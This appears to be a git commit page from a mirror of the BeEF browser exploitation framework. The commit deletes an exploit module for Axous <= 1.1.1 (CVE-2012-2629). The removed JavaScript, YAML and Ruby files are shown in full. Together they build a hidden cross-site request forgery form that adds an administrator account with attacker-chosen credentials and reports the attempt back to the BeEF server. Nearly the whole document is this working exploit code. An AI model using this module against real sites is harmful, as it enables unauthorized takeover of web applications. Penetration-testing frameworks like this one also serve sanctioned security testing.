Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Remove example module

Browse Source
This commit is contained in:
Brendan Coles
2016-04-07 14:03:07 +00:00
parent 371f27e5e1
commit 9a1eccd066
3 changed files with 0 additions and 67 deletions
Download Patch File Download Diff File Expand all files Collapse all files

31
modules/exploits/axous_1_1_1_add_user_csrf/command.js
View File

@@ -1,31 +0,0 @@
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var base = '<%= @base %>';
var username = '<%= @username %>';
var password = '<%= @password %>';
var email = '<%= @email %>';
var axous_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
{'type':'hidden', 'name':'user_name', 'value':username},
{'type':'hidden', 'name':'new_passwd', 'value':password},
{'type':'hidden', 'name':'new_passwd1', 'value':password},
{'type':'hidden', 'name':'email', 'value':email},
{'type':'hidden', 'name':'dosubmit', 'value':'1'} ,
{'type':'hidden', 'name':'id', 'value':''},
{'type':'hidden', 'name':'action', 'value':'addnew'} ,
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(axous_iframe);
}
setTimeout("cleanup()", 15000);
});

15
modules/exploits/axous_1_1_1_add_user_csrf/config.yaml
View File

@@ -1,15 +0,0 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
axous_add_user_csrf:
enable: true
category: "Exploits"
name: "Axous <= 1.1.1 Add User CSRF"
description: "Attempts to add a user to an Axous <= 1.1.1 install (CVE-2012-2629)."
authors: ["bcoles", "Ivano Binetti"]
target:
unknown: ["ALL"]

21
modules/exploits/axous_1_1_1_add_user_csrf/module.rb
View File

@@ -1,21 +0,0 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Axous_add_user_csrf < BeEF::Core::Command
def self.options
return [
{ 'name' => 'base', 'ui_label' => 'Axous URL', 'value' => 'http://target/admin/administrators_add.php'},
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'},
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'},
{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end